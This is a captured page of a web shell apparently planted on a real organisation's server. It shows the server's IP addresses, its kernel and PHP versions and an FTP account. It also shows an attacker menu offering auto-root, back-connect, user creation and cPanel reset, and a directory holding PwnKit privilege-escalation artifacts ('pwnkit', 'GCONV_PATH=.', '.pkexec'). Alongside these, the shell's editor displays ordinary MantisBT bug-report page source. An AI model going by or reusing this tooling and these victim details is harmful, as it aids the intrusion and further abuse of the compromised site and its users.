Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
core
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
docbook
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
javascript
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
phing
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
.mailmap
1.62
KB
-rw-r--r--
account_delete.php
2.62
KB
-rw-r--r--
account_manage_columns_page.ph...
1.39
KB
-rw-r--r--
account_page.php
7.44
KB
-rw-r--r--
account_prefs_inc.php
12.53
KB
-rw-r--r--
account_prefs_page.php
1.88
KB
-rw-r--r--
account_prefs_reset.php
2.53
KB
-rw-r--r--
account_prefs_update.php
4.72
KB
-rw-r--r--
account_prof_edit_page.php
3.37
KB
-rw-r--r--
account_prof_menu_page.php
4.65
KB
-rw-r--r--
account_prof_update.php
3.97
KB
-rw-r--r--
account_sponsor_page.php
11.33
KB
-rw-r--r--
account_sponsor_update.php
2.29
KB
-rw-r--r--
account_update.php
3.71
KB
-rw-r--r--
adm_config_delete.php
1.61
KB
-rw-r--r--
adm_config_report.php
14.38
KB
-rw-r--r--
adm_config_set.php
7.67
KB
-rw-r--r--
adm_permissions_report.php
6.76
KB
-rw-r--r--
billing_inc.php
8.72
KB
-rw-r--r--
billing_page.php
1.3
KB
-rw-r--r--
browser_search_plugin.php
3.75
KB
-rw-r--r--
bug_actiongroup.php
12.74
KB
-rw-r--r--
bug_actiongroup_add_note_inc.p...
3.69
KB
-rw-r--r--
bug_actiongroup_attach_tags_in...
4.11
KB
-rw-r--r--
bug_actiongroup_ext.php
2.68
KB
-rw-r--r--
bug_actiongroup_ext_page.php
1.78
KB
-rw-r--r--
bug_actiongroup_page.php
10.25
KB
-rw-r--r--
bug_actiongroup_update_product...
2.92
KB
-rw-r--r--
bug_actiongroup_update_severit...
2.9
KB
-rw-r--r--
bug_assign.php
2.88
KB
-rw-r--r--
bug_change_status_page.php
11.62
KB
-rw-r--r--
bug_file_add.php
2.6
KB
-rw-r--r--
bug_file_delete.php
2.1
KB
-rw-r--r--
bug_file_upload_inc.php
2.86
KB
-rw-r--r--
bug_monitor_add.php
2.42
KB
-rw-r--r--
bug_monitor_delete.php
2.21
KB
-rw-r--r--
bug_monitor_list_view_inc.php
2.96
KB
-rw-r--r--
bug_relationship_add.php
4.42
KB
-rw-r--r--
bug_relationship_delete.php
3.81
KB
-rw-r--r--
bug_relationship_graph.php
4.86
KB
-rw-r--r--
bug_relationship_graph_img.php
1.91
KB
-rw-r--r--
bug_reminder.php
3.47
KB
-rw-r--r--
bug_reminder_page.php
3.44
KB
-rw-r--r--
bug_report.php
12.06
KB
-rw-r--r--
bug_report_advanced_page.php
706
B
-rw-r--r--
bug_report_page.php
22.16
KB
-rw-r--r--
bug_revision_drop.php
1.36
KB
-rw-r--r--
bug_revision_view_page.php
4.38
KB
-rw-r--r--
bug_set_sponsorship.php
2.58
KB
-rw-r--r--
bug_sponsorship_list_view_inc....
4.81
KB
-rw-r--r--
bug_stick.php
1.72
KB
-rw-r--r--
bug_update.php
10.08
KB
-rw-r--r--
bug_update_advanced_page.php
21.95
KB
-rw-r--r--
bug_update_page.php
774
B
-rw-r--r--
bug_view_advanced_page.php
1.07
KB
-rw-r--r--
bug_view_inc.php
22.61
KB
-rw-r--r--
bug_view_page.php
1.07
KB
-rw-r--r--
bugnote_add.php
2.36
KB
-rw-r--r--
bugnote_add_inc.php
4.08
KB
-rw-r--r--
bugnote_delete.php
2.34
KB
-rw-r--r--
bugnote_edit_page.php
4.17
KB
-rw-r--r--
bugnote_set_view_state.php
2.37
KB
-rw-r--r--
bugnote_stats_inc.php
5.67
KB
-rw-r--r--
bugnote_update.php
2.31
KB
-rw-r--r--
bugnote_view_inc.php
8.14
KB
-rw-r--r--
build.xml
3.1
KB
-rw-r--r--
changelog_page.php
10.39
KB
-rw-r--r--
config_defaults_inc.php
114.73
KB
-rw-r--r--
config_filter_defaults_inc.php
5.71
KB
-rw-r--r--
config_inc.php
178
B
-rw-r--r--
config_inc.php.sample
3.22
KB
-rw-r--r--
core.php
8.62
KB
-rw-r--r--
csv_export.php
3.57
KB
-rw-r--r--
error_log
240
B
-rw-r--r--
excel_xml_export.php
3.31
KB
-rw-r--r--
file_download.php
6.43
KB
-rw-r--r--
history_inc.php
2.52
KB
-rw-r--r--
index.php
1.09
KB
-rw-r--r--
issues_rss.php
6.36
KB
-rw-r--r--
jump_to_bug.php
1.12
KB
-rw-r--r--
login.php
2.27
KB
-rw-r--r--
login_anon.php
1.74
KB
-rw-r--r--
login_cookie_test.php
1.31
KB
-rw-r--r--
login_page.php
8.78
KB
-rw-r--r--
login_select_proj_page.php
2.64
KB
-rw-r--r--
logout_page.php
1.07
KB
-rw-r--r--
lost_pwd.php
3.14
KB
-rw-r--r--
lost_pwd_page.php
3.11
KB
-rw-r--r--
main_page.php
3.76
KB
-rw-r--r--
make_captcha_img.php
10.84
KB
-rw-r--r--
manage_columns_copy.php
3.69
KB
-rw-r--r--
manage_columns_inc.php
6.74
KB
-rw-r--r--
manage_config_columns_page.php
1.45
KB
-rw-r--r--
manage_config_columns_reset.ph...
1.72
KB
-rw-r--r--
manage_config_columns_set.php
4.6
KB
-rw-r--r--
manage_config_email_page.php
13.12
KB
-rw-r--r--
manage_config_email_set.php
5.74
KB
-rw-r--r--
manage_config_revert.php
2.16
KB
-rw-r--r--
manage_config_work_threshold_p...
15.08
KB
-rw-r--r--
manage_config_work_threshold_s...
6.68
KB
-rw-r--r--
manage_config_workflow_page.ph...
18.63
KB
-rw-r--r--
manage_config_workflow_set.php
7.7
KB
-rw-r--r--
manage_custom_field_create.php
1.73
KB
-rw-r--r--
manage_custom_field_delete.php
2.13
KB
-rw-r--r--
manage_custom_field_edit_page....
9.33
KB
-rw-r--r--
manage_custom_field_page.php
2.96
KB
-rw-r--r--
manage_custom_field_proj_add.p...
1.7
KB
-rw-r--r--
manage_custom_field_update.php
2.72
KB
-rw-r--r--
manage_overview_page.php
2.39
KB
-rw-r--r--
manage_plugin_install.php
1.33
KB
-rw-r--r--
manage_plugin_page.php
8.96
KB
-rw-r--r--
manage_plugin_uninstall.php
1.63
KB
-rw-r--r--
manage_plugin_update.php
1.82
KB
-rw-r--r--
manage_plugin_upgrade.php
1.34
KB
-rw-r--r--
manage_prof_menu_page.php
973
B
-rw-r--r--
manage_proj_cat_add.php
2.2
KB
-rw-r--r--
manage_proj_cat_copy.php
2.19
KB
-rw-r--r--
manage_proj_cat_delete.php
2.82
KB
-rw-r--r--
manage_proj_cat_edit_page.php
3.04
KB
-rw-r--r--
manage_proj_cat_update.php
2.21
KB
-rw-r--r--
manage_proj_create.php
2.49
KB
-rw-r--r--
manage_proj_create_page.php
4.16
KB
-rw-r--r--
manage_proj_custom_field_add_e...
1.92
KB
-rw-r--r--
manage_proj_custom_field_copy....
1.89
KB
-rw-r--r--
manage_proj_custom_field_remov...
2.37
KB
-rw-r--r--
manage_proj_custom_field_updat...
1.97
KB
-rw-r--r--
manage_proj_delete.php
1.7
KB
-rw-r--r--
manage_proj_edit_page.php
24.2
KB
-rw-r--r--
manage_proj_page.php
6.69
KB
-rw-r--r--
manage_proj_subproj_add.php
1.8
KB
-rw-r--r--
manage_proj_subproj_delete.php
1.64
KB
-rw-r--r--
manage_proj_update.php
1.78
KB
-rw-r--r--
manage_proj_update_children.ph...
1.65
KB
-rw-r--r--
manage_proj_user_add.php
1.78
KB
-rw-r--r--
manage_proj_user_copy.php
2.11
KB
-rw-r--r--
manage_proj_user_remove.php
2.63
KB
-rw-r--r--
manage_proj_ver_add.php
2.91
KB
-rw-r--r--
manage_proj_ver_copy.php
2.29
KB
-rw-r--r--
manage_proj_ver_delete.php
1.88
KB
-rw-r--r--
manage_proj_ver_edit_page.php
3.67
KB
-rw-r--r--
manage_proj_ver_update.php
2.31
KB
-rw-r--r--
manage_tags_page.php
5.52
KB
-rw-r--r--
manage_user_create.php
4.24
KB
-rw-r--r--
manage_user_create_page.php
3.64
KB
-rw-r--r--
manage_user_delete.php
2.5
KB
-rw-r--r--
manage_user_edit_page.php
8.29
KB
-rw-r--r--
manage_user_page.php
10.65
KB
-rw-r--r--
manage_user_proj_add.php
1.64
KB
-rw-r--r--
manage_user_proj_delete.php
2.03
KB
-rw-r--r--
manage_user_prune.php
2.06
KB
-rw-r--r--
manage_user_reset.php
2.55
KB
-rw-r--r--
manage_user_update.php
7.21
KB
-rw-r--r--
mantis_offline.php.sample
1.35
KB
-rw-r--r--
meta_inc.php
1.33
KB
-rw-r--r--
my_view_inc.php
14.72
KB
-rw-r--r--
my_view_page.php
5.16
KB
-rw-r--r--
news_add.php
1.83
KB
-rw-r--r--
news_edit_page.php
4.13
KB
-rw-r--r--
news_list_page.php
2.31
KB
-rw-r--r--
news_menu_page.php
3.57
KB
-rw-r--r--
news_rss.php
4.92
KB
-rw-r--r--
news_update.php
2.23
KB
-rw-r--r--
news_view_page.php
1.61
KB
-rw-r--r--
permalink_page.php
1.55
KB
-rw-r--r--
plugin.php
1.55
KB
-rw-r--r--
plugin_file.php
1.42
KB
-rw-r--r--
print_all_bug_options_inc.php
5.12
KB
-rw-r--r--
print_all_bug_options_page.php
1.27
KB
-rw-r--r--
print_all_bug_options_reset.ph...
2.29
KB
-rw-r--r--
print_all_bug_options_update.p...
2.47
KB
-rw-r--r--
print_all_bug_page.php
7.32
KB
-rw-r--r--
print_all_bug_page_word.php
15.42
KB
-rw-r--r--
print_bug_page.php
18.13
KB
-rw-r--r--
print_bugnote_inc.php
4.21
KB
-rw-r--r--
proj_doc_add.php
1.85
KB
-rw-r--r--
proj_doc_add_page.php
2.84
KB
-rw-r--r--
proj_doc_delete.php
2.12
KB
-rw-r--r--
proj_doc_edit_page.php
4.13
KB
-rw-r--r--
proj_doc_page.php
4.92
KB
-rw-r--r--
proj_doc_update.php
4.72
KB
-rw-r--r--
project_page.php
3.81
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query_delete.php
1.99
KB
-rw-r--r--
query_delete_page.php
2.22
KB
-rw-r--r--
query_store.php
2.97
KB
-rw-r--r--
query_store_page.php
2.8
KB
-rw-r--r--
query_view_page.php
2.64
KB
-rw-r--r--
return_dynamic_filters.php
4.61
KB
-rw-r--r--
roadmap_page.php
10.67
KB
-rw-r--r--
search.php
7.09
KB
-rw-r--r--
set_project.php
3.53
KB
-rw-r--r--
signup.php
2.83
KB
-rw-r--r--
signup_page.php
3.4
KB
-rw-r--r--
summary_page.php
9.31
KB
-rw-r--r--
tag_attach.php
4.02
KB
-rw-r--r--
tag_create.php
1.45
KB
-rw-r--r--
tag_delete.php
1.33
KB
-rw-r--r--
tag_detach.php
1.26
KB
-rw-r--r--
tag_update.php
2.09
KB
-rw-r--r--
tag_update_page.php
4
KB
-rw-r--r--
tag_view_page.php
4.51
KB
-rw-r--r--
verify.php
2.35
KB
-rw-r--r--
view.php
1.17
KB
-rw-r--r--
view_all_bug_page.php
2.9
KB
-rw-r--r--
view_all_inc.php
7.94
KB
-rw-r--r--
view_all_set.php
23.18
KB
-rw-r--r--
view_filters_page.php
18.12
KB
-rw-r--r--
view_user_page.php
3.13
KB
-rw-r--r--
wiki.php
1.32
KB
-rw-r--r--
xmlhttprequest.php
1.55
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bug_report_page.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * This file POSTs data to report_bug.php * * @package MantisBT * @copyright Copyright (C) 2000 - 2002 Kenzaburo Ito - kenito@300baud.org * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org */ $g_allow_browser_cache = 1; /** * MantisBT Core API's */ require_once( 'core.php' ); require_once( 'file_api.php' ); require_once( 'custom_field_api.php' ); require_once( 'last_visited_api.php' ); require_once( 'projax_api.php' ); require_once( 'collapse_api.php' ); $f_master_bug_id = gpc_get_int( 'm_id', 0 ); if ( $f_master_bug_id > 0 ) { # master bug exists... bug_ensure_exists( $f_master_bug_id ); # master bug is not read-only... if ( bug_is_readonly( $f_master_bug_id ) ) { error_parameters( $f_master_bug_id ); trigger_error( ERROR_BUG_READ_ONLY_ACTION_DENIED, ERROR ); } $t_bug = bug_get( $f_master_bug_id, true ); # the user can at least update the master bug (needed to add the relationship)... access_ensure_bug_level( config_get( 'update_bug_threshold', null, null, $t_bug->project_id ), $f_master_bug_id ); #@@@ (thraxisp) Note that the master bug is cloned into the same project as the master, independent of # what the current project is set to. if( $t_bug->project_id != helper_get_current_project() ) { # in case the current project is not the same project of the bug we are viewing... # ... override the current project. This to avoid problems with categories and handlers lists etc. $g_project_override = $t_bug->project_id; $t_changed_project = true; } else { $t_changed_project = false; } access_ensure_project_level( config_get( 'report_bug_threshold' ) ); $f_build = $t_bug->build; $f_platform = $t_bug->platform; $f_os = $t_bug->os; $f_os_build = $t_bug->os_build; $f_product_version = $t_bug->version; $f_target_version = $t_bug->target_version; $f_profile_id = 0; $f_handler_id = $t_bug->handler_id; $f_category_id = $t_bug->category_id; $f_reproducibility = $t_bug->reproducibility; $f_eta = $t_bug->eta; $f_severity = $t_bug->severity; $f_priority = $t_bug->priority; $f_summary = $t_bug->summary; $f_description = $t_bug->description; $f_steps_to_reproduce = $t_bug->steps_to_reproduce; $f_additional_info = $t_bug->additional_information; $f_view_state = $t_bug->view_state; $f_due_date = $t_bug->due_date; $t_project_id = $t_bug->project_id; } else { # Get Project Id and set it as current $t_project_id = gpc_get_int( 'project_id', helper_get_current_project() ); if( ( ALL_PROJECTS == $t_project_id || project_exists( $t_project_id ) ) && $t_project_id != helper_get_current_project() ) { helper_set_current_project( $t_project_id ); # Reloading the page is required so that the project browser # reflects the new current project print_header_redirect( $_SERVER['REQUEST_URI'], true, false, true ); } # New issues cannot be reported for the 'All Project' selection if ( ( ALL_PROJECTS == helper_get_current_project() ) ) { print_header_redirect( 'login_select_proj_page.php?ref=bug_report_page.php' ); } access_ensure_project_level( config_get( 'report_bug_threshold' ) ); $f_build = gpc_get_string( 'build', '' ); $f_platform = gpc_get_string( 'platform', '' ); $f_os = gpc_get_string( 'os', '' ); $f_os_build = gpc_get_string( 'os_build', '' ); $f_product_version = gpc_get_string( 'product_version', '' ); $f_target_version = gpc_get_string( 'target_version', '' ); $f_profile_id = gpc_get_int( 'profile_id', 0 ); $f_handler_id = gpc_get_int( 'handler_id', 0 ); $f_category_id = gpc_get_int( 'category_id', 0 ); $f_reproducibility = gpc_get_int( 'reproducibility', config_get( 'default_bug_reproducibility' ) ); $f_eta = gpc_get_int( 'eta', config_get( 'default_bug_eta' ) ); $f_severity = gpc_get_int( 'severity', config_get( 'default_bug_severity' ) ); $f_priority = gpc_get_int( 'priority', config_get( 'default_bug_priority' ) ); $f_summary = gpc_get_string( 'summary', '' ); $f_description = gpc_get_string( 'description', '' ); $f_steps_to_reproduce = gpc_get_string( 'steps_to_reproduce', config_get( 'default_bug_steps_to_reproduce' ) ); $f_additional_info = gpc_get_string( 'additional_info', config_get ( 'default_bug_additional_info' ) ); $f_view_state = gpc_get_int( 'view_state', config_get( 'default_bug_view_status' ) ); $f_due_date = gpc_get_string( 'due_date', ''); if ( $f_due_date == '' ) { $f_due_date = date_get_null(); } $t_changed_project = false; } $f_report_stay = gpc_get_bool( 'report_stay', false ); $f_copy_notes_from_parent = gpc_get_bool( 'copy_notes_from_parent', false); $f_copy_attachments_from_parent = gpc_get_bool( 'copy_attachments_from_parent', false); $t_fields = config_get( 'bug_report_page_fields' ); $t_fields = columns_filter_disabled( $t_fields ); $tpl_show_category = in_array( 'category_id', $t_fields ); $tpl_show_reproducibility = in_array( 'reproducibility', $t_fields ); $tpl_show_eta = in_array( 'eta', $t_fields ); $tpl_show_severity = in_array( 'severity', $t_fields ); $tpl_show_priority = in_array( 'priority', $t_fields ); $tpl_show_steps_to_reproduce = in_array( 'steps_to_reproduce', $t_fields ); $tpl_show_handler = in_array( 'handler', $t_fields ) && access_has_project_level( config_get( 'update_bug_assign_threshold' ) ); $tpl_show_profiles = config_get( 'enable_profiles' ); $tpl_show_platform = $tpl_show_profiles && in_array( 'platform', $t_fields ); $tpl_show_os = $tpl_show_profiles && in_array( 'os', $t_fields ); $tpl_show_os_version = $tpl_show_profiles && in_array( 'os_version', $t_fields ); $tpl_show_resolution = in_array('resolution', $t_fields); $tpl_show_status = in_array('status', $t_fields); $tpl_show_versions = version_should_show_product_version( $t_project_id ); $tpl_show_product_version = $tpl_show_versions && in_array( 'product_version', $t_fields ); $tpl_show_product_build = $tpl_show_versions && in_array( 'product_build', $t_fields ) && config_get( 'enable_product_build' ) == ON; $tpl_show_target_version = $tpl_show_versions && in_array( 'target_version', $t_fields ) && access_has_project_level( config_get( 'roadmap_update_threshold' ) ); $tpl_show_additional_info = in_array( 'additional_info', $t_fields ); $tpl_show_due_date = in_array( 'due_date', $t_fields ) && access_has_project_level( config_get( 'due_date_update_threshold' ), helper_get_current_project(), auth_get_current_user_id() ); $tpl_show_attachments = in_array( 'attachments', $t_fields ) && file_allow_bug_upload(); $tpl_show_view_state = in_array( 'view_state', $t_fields ) && access_has_project_level( config_get( 'set_view_status_threshold' ) ); # don't index bug report page html_robots_noindex(); html_page_top( lang_get( 'report_bug_link' ) ); print_recently_visited(); ?> <br /> <div align="center"> <form name="report_bug_form" method="post" <?php if ( $tpl_show_attachments ) { echo 'enctype="multipart/form-data"'; } ?> action="bug_report.php"> <?php echo form_security_field( 'bug_report' ) ?> <table class="width90" cellspacing="1"> <tr> <td class="form-title" colspan="2"> <input type="hidden" name="m_id" value="<?php echo $f_master_bug_id ?>" /> <input type="hidden" name="project_id" value="<?php echo $t_project_id ?>" /> <?php echo lang_get( 'enter_report_details_title' ) ?> </td> </tr> <?php event_signal( 'EVENT_REPORT_BUG_FORM_TOP', array( $t_project_id ) ); if ( $tpl_show_category ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category" width="30%"> <?php echo config_get( 'allow_no_category' ) ? '' : '<span class="required">*</span>'; print_documentation_link( 'category' ) ?> </td> <td width="70%"> <?php if ( $t_changed_project ) { echo "[" . project_get_field( $t_bug->project_id, 'name' ) . "] "; } ?> <select <?php echo helper_get_tab_index() ?> name="category_id"> <?php print_category_option_list( $f_category_id ); ?> </select> </td> </tr> <?php } if ( $tpl_show_reproducibility ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php print_documentation_link( 'reproducibility' ) ?> </td> <td> <select <?php echo helper_get_tab_index() ?> name="reproducibility"> <?php print_enum_string_option_list( 'reproducibility', $f_reproducibility ) ?> </select> </td> </tr> <?php } if ( $tpl_show_eta ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <label for="eta"><?php print_documentation_link( 'eta' ) ?></label> </td> <td> <select <?php echo helper_get_tab_index() ?> id="eta" name="eta"> <?php print_enum_string_option_list( 'eta', $f_eta ) ?> </select> </td> </tr> <?php } if ( $tpl_show_severity ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php print_documentation_link( 'severity' ) ?> </td> <td> <select <?php echo helper_get_tab_index() ?> name="severity"> <?php print_enum_string_option_list( 'severity', $f_severity ) ?> </select> </td> </tr> <?php } if ( $tpl_show_priority ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php print_documentation_link( 'priority' ) ?> </td> <td> <select <?php echo helper_get_tab_index() ?> name="priority"> <?php print_enum_string_option_list( 'priority', $f_priority ) ?> </select> </td> </tr> <?php } if ( $tpl_show_due_date ) { $t_date_to_display = ''; if ( !date_is_null( $f_due_date ) ) { $t_date_to_display = date( config_get( 'calendar_date_format' ), $f_due_date ); } ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php print_documentation_link( 'due_date' ) ?> </td> <td> <?php print "<input ".helper_get_tab_index()." type=\"text\" id=\"due_date\" name=\"due_date\" size=\"20\" maxlength=\"16\" value=\"".$t_date_to_display."\" />"; date_print_calendar(); ?> </td> </tr> <?php } ?> <?php if ( $tpl_show_platform || $tpl_show_os || $tpl_show_os_version ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'select_profile' ) ?> </td> <td> <?php if (count(profile_get_all_for_user( auth_get_current_user_id() )) > 0) { ?> <select <?php echo helper_get_tab_index() ?> name="profile_id"> <?php print_profile_option_list( auth_get_current_user_id(), $f_profile_id ) ?> </select> <?php } ?> </td> </tr> <tr <?php echo helper_alternate_class() ?>> <td colspan="2" class="none"> <?php if( ON == config_get( 'use_javascript' ) ) { ?> <?php collapse_open( 'profile' ); collapse_icon('profile'); ?> <?php echo lang_get( 'or_fill_in' ); ?> <table class="width90" cellspacing="0"> <?php } else { ?> <?php echo lang_get( 'or_fill_in' ); ?> <?php } ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'platform' ) ?> </td> <td> <?php if ( config_get( 'allow_freetext_in_profile_fields' ) == OFF ) { ?> <select name="platform"> <option value=""></option> <?php print_platform_option_list( $f_platform ); ?> </select> <?php } else { projax_autocomplete( 'platform_get_with_prefix', 'platform', array( 'value' => string_attribute( $f_platform ), 'size' => '32', 'maxlength' => '32', 'tabindex' => helper_get_tab_index_value() ) ); } ?> </td> </tr> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'os' ) ?> </td> <td> <?php if ( config_get( 'allow_freetext_in_profile_fields' ) == OFF ) { ?> <select name="os"> <option value=""></option> <?php print_os_option_list( $f_os ); ?> </select> <?php } else { projax_autocomplete( 'os_get_with_prefix', 'os', array( 'value' => string_attribute( $f_os ), 'size' => '32', 'maxlength' => '32', 'tabindex' => helper_get_tab_index_value() ) ); } ?> </td> </tr> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'os_version' ) ?> </td> <td> <?php if ( config_get( 'allow_freetext_in_profile_fields' ) == OFF ) { ?> <select name="os_build"> <option value=""></option> <?php print_os_build_option_list( $f_os_build ); ?> </select> <?php } else { projax_autocomplete( 'os_build_get_with_prefix', 'os_build', array( 'value' => string_attribute( $f_os_build ), 'size' => '16', 'maxlength' => '16', 'tabindex' => helper_get_tab_index_value() ) ); } ?> </td> </tr> <?php if( ON == config_get( 'use_javascript' ) ) { ?> </table> <?php collapse_closed( 'profile' ); collapse_icon('profile'); echo lang_get( 'or_fill_in' );?> <?php collapse_end( 'profile' ); ?> <?php } ?> </td> </tr> <?php } ?> <?php if ( $tpl_show_product_version ) { $t_product_version_released_mask = VERSION_RELEASED; if (access_has_project_level( config_get( 'report_issues_for_unreleased_versions_threshold' ) ) ) { $t_product_version_released_mask = VERSION_ALL; } ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'product_version' ) ?> </td> <td> <select <?php echo helper_get_tab_index() ?> name="product_version"> <?php print_version_option_list( $f_product_version, $t_project_id, $t_product_version_released_mask ) ?> </select> </td> </tr> <?php } ?> <?php if ( $tpl_show_product_build ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'product_build' ) ?> </td> <td> <input <?php echo helper_get_tab_index() ?> type="text" name="build" size="32" maxlength="32" value="<?php echo string_attribute( $f_build ) ?>" /> </td> </tr> <?php } ?> <?php if ( $tpl_show_handler ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'assign_to' ) ?> </td> <td> <select <?php echo helper_get_tab_index() ?> name="handler_id"> <option value="0" selected="selected"></option> <?php print_assign_to_option_list( $f_handler_id ) ?> </select> </td> </tr> <?php } ?> <?php if ( $tpl_show_status ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'status' ) ?> </td> <td> <select <?php echo helper_get_tab_index() ?> name="status"> <?php $resolution_options = get_status_option_list(access_get_project_level( $t_project_id), config_get('bug_submit_status'), true, ON == config_get( 'allow_reporter_close' ), $t_project_id ); foreach ( $resolution_options as $key => $value ) { ?> <option value="<?php echo $key ?>" <?php check_selected($key, config_get('bug_submit_status')); ?> > <?php echo $value ?> </option> <?php } ?> </select> </td> </tr> <?php } ?> <?php if ( $tpl_show_resolution ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'resolution' ) ?> </td> <td> <select <?php echo helper_get_tab_index() ?> name="resolution"> <?php print_enum_string_option_list('resolution', config_get('default_bug_resolution')); ?> </select> </td> </tr> <?php } ?> <?php // Target Version (if permissions allow) if ( $tpl_show_target_version ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'target_version' ) ?> </td> <td> <select <?php echo helper_get_tab_index() ?> name="target_version"> <?php print_version_option_list() ?> </select> </td> </tr> <?php } ?> <?php event_signal( 'EVENT_REPORT_BUG_FORM', array( $t_project_id ) ) ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <span class="required">*</span><?php print_documentation_link( 'summary' ) ?> </td> <td> <input <?php echo helper_get_tab_index() ?> type="text" name="summary" size="105" maxlength="128" value="<?php echo string_attribute( $f_summary ) ?>" /> </td> </tr> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <span class="required">*</span><?php print_documentation_link( 'description' ) ?> </td> <td> <textarea <?php echo helper_get_tab_index() ?> name="description" cols="80" rows="10"><?php echo string_textarea( $f_description ) ?></textarea> </td> </tr> <?php if ( $tpl_show_steps_to_reproduce ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php print_documentation_link( 'steps_to_reproduce' ) ?> </td> <td> <textarea <?php echo helper_get_tab_index() ?> name="steps_to_reproduce" cols="80" rows="10"><?php echo string_textarea( $f_steps_to_reproduce ) ?></textarea> </td> </tr> <?php } ?> <?php if ( $tpl_show_additional_info ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php print_documentation_link( 'additional_information' ) ?> </td> <td> <textarea <?php echo helper_get_tab_index() ?> name="additional_info" cols="80" rows="10"><?php echo string_textarea( $f_additional_info ) ?></textarea> </td> </tr> <?php } $t_custom_fields_found = false; $t_related_custom_field_ids = custom_field_get_linked_ids( $t_project_id ); foreach( $t_related_custom_field_ids as $t_id ) { $t_def = custom_field_get_definition( $t_id ); if( ( $t_def['display_report'] || $t_def['require_report']) && custom_field_has_write_access_to_project( $t_id, $t_project_id ) ) { $t_custom_fields_found = true; ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php if($t_def['require_report']) {?><span class="required">*</span><?php } echo string_display( lang_get_defaulted( $t_def['name'] ) ) ?> </td> <td> <?php print_custom_field_input( $t_def, ( $f_master_bug_id === 0 ) ? null : $f_master_bug_id ) ?> </td> </tr> <?php } } # foreach( $t_related_custom_field_ids as $t_id ) ?> <?php // File Upload (if enabled) if ( $tpl_show_attachments ) { $t_max_file_size = (int)min( ini_get_number( 'upload_max_filesize' ), ini_get_number( 'post_max_size' ), config_get( 'max_file_size' ) ); $t_file_upload_max_num = max( 1, config_get( 'file_upload_max_num' ) ); ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( $t_file_upload_max_num == 1 ? 'upload_file' : 'upload_files' ) ?> <?php echo '<span class="small">(' . lang_get( 'max_file_size' ) . ': ' . number_format( $t_max_file_size/1000 ) . 'k)</span>'?> </td> <td> <input type="hidden" name="max_file_size" value="<?php echo $t_max_file_size ?>" /> <?php // Display multiple file upload fields for( $i = 0; $i < $t_file_upload_max_num; $i++ ) { ?> <input <?php echo helper_get_tab_index() ?> id="ufile[]" name="ufile[]" type="file" size="50" /> <?php if( $t_file_upload_max_num > 1 ) { echo '<br />'; } } } ?> </td> </tr> <?php if ( $tpl_show_view_state ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'view_status' ) ?> </td> <td> <label><input <?php echo helper_get_tab_index() ?> type="radio" name="view_state" value="<?php echo VS_PUBLIC ?>" <?php check_checked( $f_view_state, VS_PUBLIC ) ?> /> <?php echo lang_get( 'public' ) ?></label> <label><input <?php echo helper_get_tab_index() ?> type="radio" name="view_state" value="<?php echo VS_PRIVATE ?>" <?php check_checked( $f_view_state, VS_PRIVATE ) ?> /> 